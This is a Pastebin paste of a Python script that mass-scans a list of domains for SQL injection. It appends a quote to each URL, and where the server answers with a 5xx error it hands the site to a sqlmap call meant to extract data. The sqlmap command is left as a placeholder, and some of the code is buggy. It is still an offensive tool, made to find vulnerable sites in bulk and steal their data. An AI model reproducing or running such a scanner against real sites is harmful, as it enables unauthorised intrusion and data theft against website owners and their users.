Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading
- import os
- import sys
- import urllib2
- import argparse
- import requests
- import re
- from multiprocessing import Pool
- def https_sheck(url):
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64)'}
- req = urllib2.Request("http://" + url, None, headers)
- res = urllib2.urlopen(req)
- finalurl = res.geturl()
- if finalurl[4] == "s":
- return True
- else:
- return False
- def log_write(text, file_n):
- open(file_n, 'a+').write(text + "\n")
- def file_open(name, line=-1):
- if os.path.exists(name):
- text = open(name, 'r').readlines()
- if line > -1:
- return text[line].rstrip('\n').rstrip('\r')
- else:
- return len(text)
- else:
- print("File " + name + " does not exist")
- sys.exit(1)
- def check_one(url):
- r = requests.head(url)
- return r.status_code
- def hack_one(url):
- # For working you need to git clone sqlmap sources to sqlmap dir.
- content = os.popen('here full command for sqlmap. Content will write in "content" !', 'r', 1)
- result = re.findall(r"LIMIT 1:(.*)", content)
- return result
- def http_get(url):
- if https_sheck(url):
- domain = 'https://' + url
- else:
- domain = 'http://' + url
- code_o = check_one(domain)
- code_i = check_one(domain + '\'')
- if code_o == 200 and code_i > 499 and code_i < 510:
- # Here you can save the text like you want :)
- data = hack_one(domain)
- return data
- else:
- return False
- if __name__ == '__main__':
- parser = argparse.ArgumentParser()
- parser.add_argument('-d', '-domains-file', dest='domains_file', default='')
- args = parser.parse_args()
- pool = Pool(processes=10)
- domains = []
- for i in range(0, int(file_open(args.domains_file, -1))):
- domain = file_open(args.domains_file, i).replace('https://', '').replace('http://', '')
- domains.append(domain)
- results = pool.map(http_get, domains)
- print(results)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement